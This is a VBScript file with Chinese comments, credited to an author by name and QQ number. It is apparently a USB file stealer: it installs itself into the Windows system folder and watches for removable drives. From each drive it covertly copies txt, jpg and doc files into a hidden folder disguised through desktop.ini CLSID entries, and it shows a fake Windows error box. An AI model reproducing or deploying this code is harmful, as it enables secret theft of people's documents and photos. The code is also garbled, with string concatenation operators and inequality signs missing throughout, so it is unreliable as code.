oStr = "txt|jpg|doc" '文件類型，添加文件類型用“|”隔開
oDistPath = "C:\\windows\\system\\" '保存路徑
oFolderName = "Task" '保存文件夾名稱
oType = 1 '1為task文件夾，2為recycler文件夾，0為不隱藏
oOut = 1 '1復制完畢后退出,0復制完畢后不退出，繼續(xù)循環(huán)
'By:白開 QQ:343229025
Set fso=CreateObject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")

If WScript.ScriptFullName=fso.GetSpecialFolder(1)"\Baikai.vbs" Then '如果是在system32

'文件夾不存在則創(chuàng)建
If (not fso.FolderExists(oDistPath oFolderName)) Then
fso.CreateFolder(oDistPath oFolderName)
End If
'創(chuàng)建記錄文件
Set Mylog=fso.CreateTextFile(oDistPathoFolderName"\\Copy.log",True)
'循環(huán)監(jiān)測移動存儲設備插入
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver>"A:" And oDriver>"B:" Then
TreeIt(oDriver)
Msgbox "Windows 錯誤",64
If(oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close

'隱藏文件夾
oHideFolder oDistPath,oFolderName,oType


else '如果是其它目錄，先安裝
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)"\Baikai.vbs",True
wshell.Run fso.GetSpecialFolder(1)"\Baikai.vbs"
Msgbox "安裝成功"
end if


Set fso=nothing
Set wshell=nothing



'遍歷目錄函數(shù)
Function TreeIt(sPath)
Set oFolder = fso.GetFolder(sPath)
Set oSubFolders = oFolder.Subfolders

Set oFiles = oFolder.Files
For Each oFile In oFiles
oCopyFile oFile.Path,oDistPath,oFolderName
Next

For Each oSubFolder In oSubFolders
TreeIt(oSubFolder.Path)
Next

Set oFolder = Nothing
Set oSubFolders = Nothing

End Function

'復制文件函數(shù)
Function oCopyFile(FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName(FileName)
If(instr(oStr,lcase(Ext))) then
Randomize
tempname=Extint((Rnd*100000000)+1)"."Ext
fso.CopyFile FileName,oDistPathoFolderName"\\"tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function

'隱藏文件夾函數(shù)
Sub oHideFolder(oDistPath,oFolderName,oType)

Select Case oType
case 1
Set inf=fso.CreateTextfile(oDistPathoFolderName"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
case 2
Set inf=fso.CreateTextfile(oDistPathoFolderName"\\desktop.ini",True)
inf.writeline("[.ShellClassInfo]")
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}")
case 0
Exit sub
End Select
Set inf=nothing

Set SysoFolder=fso.GetFolder(oDistPathoFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing

End sub

'By:白開 QQ:343229025